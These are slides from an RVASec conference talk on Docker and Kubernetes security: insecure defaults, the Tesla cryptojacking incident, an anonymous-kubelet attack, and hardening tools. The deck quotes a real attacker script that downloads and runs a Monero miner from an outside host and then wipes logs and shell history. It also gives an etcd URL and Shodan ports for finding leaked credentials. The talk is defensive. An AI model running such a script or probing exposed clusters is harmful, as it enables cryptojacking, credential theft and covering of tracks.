



**RVASSECC**

RICHMOND.VA

# Containers: Exploits, Surprises, And Security



with Elissa Shevinsky  
COO at SoHo Token Labs  
Editor of “Lean Out”

**#RVASec**

**@ElissaBeth** on twitter


**@Elissa\_is\_offmessage** on Instagram

**“Software is eating the world.”**

–Marc Andreessen, VC

**this was  
Silicon Valley in 2011**





**“Containers  
are eating  
software”  
-me, in 2018**



**Also True:  
Insecure  
Defaults  
are eating  
your AWS  
Instances**



# WHAT IS DOCKER

is the world's leading software containerization platform

DOCKER ENTERPRISE EDITION

LEARN MORE



# **Docker's Promise: Among Other Things, is Security**

An abstract graphic consisting of overlapping, semi-transparent geometric shapes in shades of blue and pink, resembling a complex network or data structure.

## SECURITY

Deliver applications safer across the entire lifecycle with built in security capabilities and configurations out of the box.

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configurations out of the box.





HOME

NEWSLETTER

ABOUT

SPE

# Docker, Inc is Dead

📅 *Posted on December 30, 2017 (Last modified on March 30, 2018)*


## Solomon Hykes leaves Docker, company he founded

**Docker Swarm is Dead. Long Live Kubernetes!**




# What is Kubernetes?

According to Google, Kubernetes is “the industry-leading open source container orchestrator which powers Kubernetes Engine”



# Diagram: Isolation in Kubernetes



# CONTAINERS AT GOOGLE

A better way to develop and deploy applications



TRY IT FREE

[VIEW DOCUMENTATION](#)

## The Google Way

From Gmail to YouTube to Search, everything at Google runs in containers. Containerization allows our development teams to move fast, deploy software efficiently, and operate at an unprecedented scale. Each week, we start over two billion containers. We've learned a lot about running containerized workloads in production over the past decade, and

# The Google Way

From Gmail to YouTube to Search, everything at Google runs in containers. Our teams to move fast, deploy software efficiently, and operate at an unprecedented billion containers. We've learned a lot about running containerized workloads in



super fancy

Sure, there are **FANCY**  
**EXPLOITS**



MELTDOWN



SPECTRE



**but it's really about that good  
ol' misconfiguration**



**The core Kubernetes team calls many security issues  
“misconfiguration.”**

**But what do you call it when misconfigurations  
are the default?**





**Kubernetes has so many fun attack vectors .....**

**many of which are intentionally  
enabled by default**






# Hacking Kubernetes



**We're used to taking strong measures to protect user data. But what about keeping hackers away from those S3 buckets?**





**Random Robbie**

@Random\_Robbie

Following



hahah there are hackers fighting over these clusters to mine!

```
Constraints Unspecified
Dependencies Unspecified
Labels Unspecified
Resource Roles *
Container {
  "type": "DOCKER",
  "volumes": [],
  "docker": {
    "image": "minecoins/minergate-cli",
    "network": null,
    "portMappings": [],
    "privileged": false,
    "parameters": [],
    "forcePullImage": false
  }
}
CPUs 1
```



← Not Secure | https://[redacted]#!/secret/default/aws-s3-credentials?namespace=default

**kubernetes**

**Config and storage > Secrets > aws-s3-credentials**

Namespace: **default**

**Overview**

**Workloads**

- Daemon Sets
- Deployments
- Jobs
- Pods
- Replica Sets
- Replication Controllers
- Stateful Sets

**Discovery and Load Balancing**

- Ingresses
- Services

**Config and Storage**

---

### Details

**Name:** aws-s3-credentials  
**Namespace:** default  
**Creation time:** 2017-10-12T22:29  
**Type:** Opaque

---

### Data

- aws-s3-access-key-id:** [redacted]
- aws-s3-secret-access-key:** [redacted]



## The Hack:

- **Monero miners infiltrated a Kubernetes consoles, which was not password protected.**
- **Within one Kubernetes pod, access credentials were exposed to Tesla's AWS environment**
- **This contained an Amazon S3 bucket that had sensitive data such as telemetry.**



## **Detection:**

- **The hackers hid their IP address behind Cloudflare**
- **Mining software was configured to listen on a non-standard port**
- **CPU usage was not very high. The hackers likely configured the mining software to keep CPU low to evade detection**



## **Lessons from the Hack of Tesla's S3 via Kubernetes:**

- **Secure your Kubernetes with passwords**
- **Update and Monitor Configurations (defaults aren't enough)**
- **Monitor Network Traffic**
- **Hackers will leverage one resource to gain access to another  
Kubernetes can be a gateway to S3.**

h/t to Redlock for their research here: <https://blog.redlock.io/cryptojacking-tesla>





**the following exploit has been an issue on  
Github since 2015 and was was \*just\*  
patched**

**The Github comments by Kubernetes team  
members are ... interesting**



**single node Kubernetes deployment  
running on top of Alpine Linux.**

**First indicator of compromise was a suspicious process running as  
a child of the docker daemon:**

```
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p  
NewWorld --safe -B
```

Another example: h/t Alexander Urcioli for documenting



**more crypto mining: single node  
Kubernetes deployment running on top  
of Alpine Linux.**

**curling the endpoints leads to....**

**Mining Proxy Online**

Another example: h/t Alexander Urcioli for documenting



# Kube.lock script (used to mine Monero)

```
#!/bin/bash
yum install wget -y
apt-get install wget -y
PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
rm -rf /tmp/udev*
wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udev
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udev
fi
chmod +x /tmp/udev
chmod 777 /tmp/udev
if [ $PS2 -eq 0 ];
then
/tmp/udev -o stratum+tcp://pool.zeroday.ru:8080 -u NewWorld -p NewWorld --safe -B
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
echo $?
wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/
glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udev -o
stratum+tcp://pool.zeroday.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/
log/secure && history -c
fi
```



## The Hack:

- **kubernetes api-server was publicly exposed to the internet — but protected with certificate authentication**
- **By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods used to be treated as anonymous requests, and given a username of `system:anonymous` and a group of `system:unauthenticated`**



**Unless you specified some flags on Kubelet, it's default mode of operation is to accept unauthenticated API requests. Keep in mind that in order for master -> node communication to work, the Kubernetes API server must be able to talk to kubelet on your nodes.**



# Secure Kubelet's componentconfig defaults while maintaining CLI compatibility #59666

**Merged**

k8s-merge-robot merged 1 commit into `kubernetes:master` from `mtaufen:kc-secure-componentconfig-defaults` on Feb 9

Conversation 21

Commits 1

Files changed 12



mtaufen commented on Feb 9 • edited ▾

Contributor

This updates the Kubelet's componentconfig defaults, while applying the legacy defaults to values from `options.NewKubeletConfiguration()`. This keeps defaults the same for the command line and improves the security of defaults when you load config from a file.

See: [#53618](#)

See: [#53833 \(comment\)](#)

Also moves `EnableServer` to `KubeletFlags`, per [@talclair's](#) comments on [#53833](#).

We should find way of generating documentation for config file defaults, so that people can easily look up what's different from flags.

Action required: Default values differ between the Kubelet's componentconfig (config file)

Reviewers

liggitt

feiskye

sjpotter

Assignees

liggitt

shyamj

luxas

dchen1

talclair



**sathieu commented on Mar 16**

**Is there any CVE for this? This is information  
I think.**



Is there any CVE for this? This is information disclosure. Also a backport for 1.9 (and 1.8) would be good I think.

**liggitt** commented on Mar 16

Me

Is there any CVE for this? This is information disclosure. Also a backport for 1.9 (and 1.8) would be good I think.

No. Running in production without enabling kubelet authn/authz is a misconfiguration, not a CVE.

This is changing defaults in kubelet configuration files which are alpha in previous releases and not supported yet.

a backport for 1.9 (and 1.8) would be

**is a misconfiguration, not a CVE.**

**e alpha in previous releases and not**



“not a CVE”

**Jordan Liggitt**

liggitt

Block or report user

 [Developer Program Member](#)

 Red Hat


 Raleigh, NC

 [Sign in to view email](#)

**Organizations**



**Organizations**





## **Lessons**

- **Very important to pay attention to configuration. Both Kubernetes and Docker benefit from configuration optimizations.**
- **Patch your Kubernetes. This issue was just accepted as a pull request earlier this year. Only the latest versions will have this issue fixed.**



**Exploiting Kubernetes**

**~~for fun and profit~~**

**through their appropriate disclosure processes**

**Tools  
for folks like us**



TOTAL RESULTS

16,841

TOP COUNTRIES



US	9,918
IE	2,577
DE	1,998
AU	509
SG	438

TOP SERVICES

HTTPS	16,797
HTTPS (8443)	38
9443	3
HTTP	2
8083	1

TOP ORGANIZATIONS

**52.36.82.74**

ec2-52-36-82-74.us-west-2.compute.amazonaws.com  
**Amazon.com**  
 Added on 2018-06-02 18:49:19 GMT  
 United States, Boardman  
[Details](#)

cloud

**SSL Certificate**

Issued By:  
 |- Common Name: **kubernetes**  
 Issued To:  
 |- Common Name: **kubernetes-master**

**Supported SSL Versions**

TLSv1.2

HTTP/1.1 401 Unauthorized  
 Content-Type: application/json  
 Www-Authenticate: Basic realm="**kubernetes-master**"  
 Date: Sat, 02 Jun 2018 18:49:19 GMT  
 Content-Length: 165

**34.214.111.116**

ec2-34-214-111-116.us-west-2.compute.amazonaws.com  
**Amazon.com**  
 Added on 2018-06-02 18:48:56 GMT  
 United States, Boardman  
[Details](#)

cloud

**SSL Certificate**

Issued By:  
 |- Common Name: **kubernetes**  
 Issued To:  
 |- Common Name: **kubernetes-master**

**Supported SSL Versions**

TLSv1.2

HTTP/1.1 401 Unauthorized  
 Content-Type: text/plain; charset=utf-8  
 Www-Authenticate: Basic realm="**kubernetes-master**"  
 X-Content-Type-Options: nosniff  
 Date: Sat, 02 Jun 2018 18:50:38 GMT  
 Content-Length: 13

**34.195.35.230**

ec2-34-195-35-230.compute-1.amazonaws.com  
**Amazon.com**  
 Added on 2018-06-02 18:47:06 GMT  
 United States, Ashburn  
[Details](#)

cloud

**SSL Certificate**

Issued By:  
 |- Common Name: **kubernetes**  
 Issued To:  
 |- Common Name: **kubernetes-master**

HTTP/1.1 401 Unauthorized  
 Content-Type: text/plain; charset=utf-8  
 Www-Authenticate: Basic realm="**kubernetes-master**"  
 X-Content-Type-Options: nosniff  
 Date: Sat, 02 Jun 2018 18:47:06 GMT



A quick search on Shodan, a search engine for devices and services, revealed 2,284 etcd servers that were directly accessible from the internet through their RESTful APIs.

“I clicked a few and on the third try I saw what I was hoping not to see,” Collazo said in [a blog post](#). “CREDENTIALS, a lot of CREDENTIALS. Credentials for things like cms\_admin, mysql\_root, Postgres, etc.”





## **2379/TCP Etcd Port**

The HTTP service on 2379/TCP is the default etcd service for your Kubernetes instance. The API interface is accessible and not secured by default!

`http://<kubernetes IP>:2379/v2/keys/?recursive=true`

It'll leak internal passwords, AWS keys, certificates, private keys, encryption keys and more...



A distributed, reliable key-value store for the most critical data of a distributed system.

# Authentication Guide

## Overview

Authentication – having users and roles in etcd – was added in etcd 2.1. This guide will help you with authentication in etcd.

etcd before 2.1 was a completely open system; anyone with access to the API could change keys. To preserve backward compatibility and upgradability, this feature is off by default.

For a full discussion of the RESTful API, see [the authentication API documentation](#)



## From Kubernetes Guide to “Securing a Cluster”

# Controlling access to the Kubelet

---

Kubelets expose HTTPS endpoints which grant powerful control over the node and containers. By default Kubelets allow unauthenticated access to this API.

Production clusters should enable Kubelet authentication and authorization.

Consult the [Kubelet authentication/authorization reference](#) for more information.



# Common Vulnerabilities to look for on Shodan

Unsecured Dashboards  
Port 10250/TCP Open  
Port 2379/TCP Open

<https://medium.com/@netscylla/kubernetes-or-kuberpwn-586c687d5459>

# Tools for Hardening





**Clair by CoreOS**

**Static Analysis of Vulnerabilities in Appc and Docker containers**



# kube-bench

kube-bench is a Go application that checks whether Kubernetes is deployed securely by running in the CIS Kubernetes Benchmark.

Tests are configured with YAML files, making this tool easy to update as test specifications evolve.

[INFO] 1 Master Node Security Configuration

[INFO] 1.1 API Server

[FAIL] 1.1.1 Ensure that the --allow-privileged argument is set to false (Scored)

[FAIL] 1.1.2 Ensure that the --anonymous-auth argument is set to false (Scored)

[PASS] 1.1.3 Ensure that the --basic-auth-file argument is not set (Scored)

[PASS] 1.1.4 Ensure that the --insecure-allow-any-token argument is not set (Scored)

[FAIL] 1.1.5 Ensure that the --kubelet-https argument is set to true (Scored)

[PASS] 1.1.6 Ensure that the --insecure-bind-address argument is not set (Scored)

[PASS] 1.1.7 Ensure that the --insecure-port argument is set to 0 (Scored)

[PASS] 1.1.8 Ensure that the --secure-port argument is not set to 0 (Scored)

[FAIL] 1.1.9 Ensure that the --profiling argument is set to false (Scored)

[FAIL] 1.1.10 Ensure that the --repair-malformed-updates argument is set to false (Scored)

[PASS] 1.1.11 Ensure that the admission control policy is not set to AlwaysAdmit (Scored)

[FAIL] 1.1.12 Ensure that the admission control policy is set to AlwaysPullImages (Scored)

[FAIL] 1.1.13 Ensure that the admission control policy is set to DenyEscalatingExec (Scored)

[FAIL] 1.1.14 Ensure that the admission control policy is set to SecurityContextDeny (Scored)

[PASS] 1.1.15 Ensure that the admission control policy is set to NamespaceLifecycle (Scored)

[FAIL] 1.1.16 Ensure that the --audit-log-path argument is set as appropriate (Scored)

[FAIL] 1.1.17 Ensure that the --audit-log-maxage argument is set to 30 or as appropriate (Scored)

[FAIL] 1.1.18 Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate (Scored)

[FAIL] 1.1.19 Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate (Scored)

[PASS] 1.1.20 Ensure that the --authorization-mode argument is not set to AlwaysAllow (Scored)

[PASS] 1.1.21 Ensure that the --token-auth-file parameter is not set (Scored)





# Configuration Management: Sonobuoy by Heptio



Heptio  
Sonobuoy  
Scanner

## Run Heptio Sonobuoy

Paste the following command in your terminal:

```
kubectl apply -f https://scanner.heptio.com/09d9524ed6cc0891941d6b13e6361def/yaml/
```

COPY

Wait for the list of conformance tests to appear. The scan results are associated with the unique URL of this page. To keep the list, you'll need to bookmark the URL.

This process can take up to 60 minutes.

RBAC already enabled on cluster

---



# Best Practice via CIS benchmarks

**It's a very long list.**

3.1.10 Ensure that the --audit-log-path argument is set as appropriate (Scored)...	245
3.1.11 Ensure that the --audit-log-maxage argument is set to 30 or as appropriate (Scored) .....	247
3.1.12 Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate (Scored).....	249
3.1.13 Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate (Scored) .....	251
3.1.14 Ensure that the --authorization-mode argument is not set to AlwaysAllow (Scored) .....	253
3.1.15 Ensure that the --token-auth-file parameter is not set (Scored) .....	255
3.1.16 Ensure that the --service-account-lookup argument is set to true (Scored)	257
3.1.17 Ensure that the --service-account-key-file argument is set as appropriate (Scored) .....	259
3.1.18 Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as	



# Best Practice via CIS benchmarks

## Highlights:

**Enable built-in Linux security measures, SELinux and Seccomp profiles. Allow fine grained control over the workloads running in the node**



# Container registry Vulnerability Scanning by Google

Container Registry



[SEND FEEDBACK](#)

## Container Registry Vulnerability Scanning

### ★ Alpha

This is an alpha release of Container Registry Vulnerability Scanning. This feature might be changed in backward-incompatible ways and is not recommended for production use. It is not subject to any SLA or deprecation policy. This feature is not intended for real-time usage in critical applications.

Container Registry vulnerability scanning identifies package vulnerabilities for your container images. This page describes how you can view the vulnerabilities using Google Cloud Platform Console, the `gcloud` command-line tool, and [Container Analysis API](#).



# Grafeas



## Google Cloud Platform Blog

Product updates, customer stories, and tips and tricks on Google Cloud Platform

---

Introducing Grafeas: An open-source API to audit and govern  
your software supply chain

Thursday, October 12, 2017

**Kubernetes has so many fun attack vectors .....**

**many of which are intentionally  
enabled by default**





## Best Practices, via the Kubernetes Team

- **Implement Continuous Security Vulnerability Scanning** – Containers might include outdated packages with known vulnerabilities (CVEs). This cannot be a ‘one off’ process, as new vulnerabilities are published every day.
- **Regularly Apply Security Updates to Your Environment** – Once vulnerabilities are found in running containers, you should always update the source image and redeploy the containers. Upgrading containers is extremely easy with the Kubernetes rolling updates feature - this allows gradually updating a running application by upgrading its images to the latest version.



## **Best Practices, via the Kubernetes Team**

- **Ensure That Only Authorized Images are Used in Your Environment**
- **Limit Direct Access to Kubernetes Nodes**
- **Create Administrative Boundaries between Resources**
- **Define Resource Quota**
- **Implement Network Segmentation**
- **Log Everything**





## Best Practices, via Docker

- **Only trusted users should be allowed to control your Docker daemon.**
- **Best practice is be to remove all capabilities except those explicitly required for their processes. Restricting access and capabilities reduces the amount of surface area potentially vulnerable to attack.**

<https://docs.docker.com/engine/security/security/>

[https://d3oypxn00j2a10.cloudfront.net/assets/img/Docker%20Security/WP\\_Intro\\_to\\_container\\_security\\_03.20.2015.pdf](https://d3oypxn00j2a10.cloudfront.net/assets/img/Docker%20Security/WP_Intro_to_container_security_03.20.2015.pdf)



# Best Practices, via Docker

- **Proper tooling around application images are critical to sound security practices. (Docker has built some tools.) Docker Bench for Security is a meta-script that checks for dozens of common best-practices around deploying Docker containers in production**
- **Run your Linux kernels with GRSEC and PAX. These sets of patches add several kernel-level safety checks, both at compile-time and run-time that attempt to defeat or make some common exploitation techniques more difficult.**
- **Docker users can expand upon the default configuration to further improve security.**

<https://docs.docker.com/engine/security/security/>

[https://d3oypxn00j2a10.cloudfront.net/assets/img/Docker%20Security/WP\\_Intro\\_to\\_container\\_security\\_03.20.2015.pdf](https://d3oypxn00j2a10.cloudfront.net/assets/img/Docker%20Security/WP_Intro_to_container_security_03.20.2015.pdf)



# **Security and Container Hardening Best Practices**

**we're gonna review 5 straightforward techniques  
(that you likely already know)**



**Do Updates**



## **Minimize Attack Surface**

**do you need that extra code?**

**that proprietary code with who knows how many vulnerabilities?**



## **Optimize Your Configuration**

**“It’s not a CVE, it's a misconfiguration”**



## **“Know Your Network” - Andrew Case**

**Monitor your network for unusual activity.**



**take it off the public internet**

**you can put your containers behind a VPN**





***First, a round of applause for me***



**THANK YOU to RVASec and to this Community**

